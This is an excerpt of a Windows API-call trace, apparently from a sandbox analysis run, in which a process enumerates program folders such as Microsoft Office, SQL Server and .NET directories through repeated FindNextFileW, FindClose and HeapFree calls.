	[0084.146] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="VBA7.1", cAlternateFileName="")) returned 0
	[0084.147] FindClose (in: hFindFile=0x811b48 | out: hFindFile=0x811b48) returned 1
	[0084.147] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0084.148] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1
	[0084.150] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0084.150] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd7bf89, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd7bf89, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0
	[0084.150] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0084.150] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0084.150] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="16", cAlternateFileName="")) returned 0
	[0084.150] FindClose (in: hFindFile=0x811b48 | out: hFindFile=0x811b48) returned 1
	[0084.150] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0084.151] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0
	[0084.151] FindClose (in: hFindFile=0x811fc8 | out: hFindFile=0x811fc8) returned 1
	[0084.152] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0084.152] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System", cAlternateFileName="")) returned 1
	[0084.153] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0084.153] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b78b8d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 0
	[0084.153] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0084.153] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0084.153] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System", cAlternateFileName="")) returned 0
	[0084.154] FindClose (in: hFindFile=0x811a48 | out: hFindFile=0x811a48) returned 1
	[0084.154] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0084.156] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesX64", cAlternateFileName="PROGRA~1")) returned 1
	[0084.159] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0084.159] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2a7e39eb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ae4bf10, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17beb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1
	[0084.160] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0084.160] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9e69c | out: lpFindFileData=0x2e9e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee45f66d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0084.160] FindClose (in: hFindFile=0x811b48 | out: hFindFile=0x811b48) returned 1
	[0084.160] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0084.160] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa4733b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa4733b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa50bd2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b050, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQLDumper.exe", cAlternateFileName="SQLDUM~1.EXE")) returned 1
	[0084.160] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0084.920] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ae4bf10, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ae4bf10, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0
	[0084.920] FindClose (in: hFindFile=0x811a48 | out: hFindFile=0x811a48) returned 1
	[0084.929] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0084.938] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0
	[0084.938] FindClose (in: hFindFile=0x811f88 | out: hFindFile=0x811f88) returned 1
	[0084.938] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0084.954] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e11c27d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Office", cAlternateFileName="MICROS~3")) returned 1
	[0084.954] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0084.955] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft SQL Server", cAlternateFileName="MICROS~2")) returned 1
	[0084.955] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0084.955] FindNextFileW (in: hFindFile=0x811e08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Shared", cAlternateFileName="")) returned 0
	[0084.955] FindClose (in: hFindFile=0x811e08 | out: hFindFile=0x811e08) returned 1
	[0084.955] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0084.955] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 0
	[0084.955] FindClose (in: hFindFile=0x811a48 | out: hFindFile=0x811a48) returned 1
	[0084.955] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0084.957] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1
	[0084.959] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0084.959] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0
	[0084.959] FindClose (in: hFindFile=0x811f88 | out: hFindFile=0x811f88) returned 1
	[0084.959] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0084.959] FindNextFileW (in: hFindFile=0x811e08, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADOMD.NET", cAlternateFileName="")) returned 0
	[0084.959] FindClose (in: hFindFile=0x811e08 | out: hFindFile=0x811e08) returned 1
	[0084.960] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0084.961] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 0
	[0084.961] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0084.961] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0084.961] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesX86", cAlternateFileName="PROGRA~2")) returned 1
	[0085.060] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0085.060] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa937f07, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2b015b1d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x128848, dwReserved0=0x0, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1
	[0085.060] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0085.060] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9e69c | out: lpFindFileData=0x2e9e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf3143659, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0085.060] FindClose (in: hFindFile=0x811fc8 | out: hFindFile=0x811fc8) returned 1
	[0085.060] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0085.060] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5e91324, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5e91324, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5eb74f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQLDumper.exe", cAlternateFileName="SQLDUM~1.EXE")) returned 1
	[0085.061] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0085.061] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2b0d4700, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0
	[0085.061] FindClose (in: hFindFile=0x811f88 | out: hFindFile=0x811f88) returned 1
	[0085.061] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0085.062] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0
	[0085.062] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0085.063] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0085.063] FindNextFileW (in: hFindFile=0x811e08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2f517e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2f517e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2f517e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1
	[0085.066] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0085.066] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386b77a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="APDEA0~1.DLL")) returned 1
	[0085.068] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0085.068] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2c4a611d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2c4a611d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2c4a611d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x21276, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessCompare.rdlc", cAlternateFileName="ACCESS~1.RDL")) returned 1
	[0085.070] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0085.070] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2c4a611d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2c4a611d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2c4a611d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMessageDismissal.txt", cAlternateFileName="EXCELM~1.TXT")) returned 1
	[0085.072] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0085.072] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4c3c0a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c3c0a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4c3c0a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x171878, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="GROOVEEX.DLL", cAlternateFileName="")) returned 1
	[0085.073] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0085.074] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2f517e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office16", cAlternateFileName="")) returned 0
	[0085.075] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0085.075] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0085.075] FindNextFileW (in: hFindFile=0x811e08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft SQL Server", cAlternateFileName="MICROS~3")) returned 1
	[0085.077] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0085.077] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Shared", cAlternateFileName="")) returned 0
	[0085.077] FindClose (in: hFindFile=0x811f88 | out: hFindFile=0x811f88) returned 1
	[0085.077] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
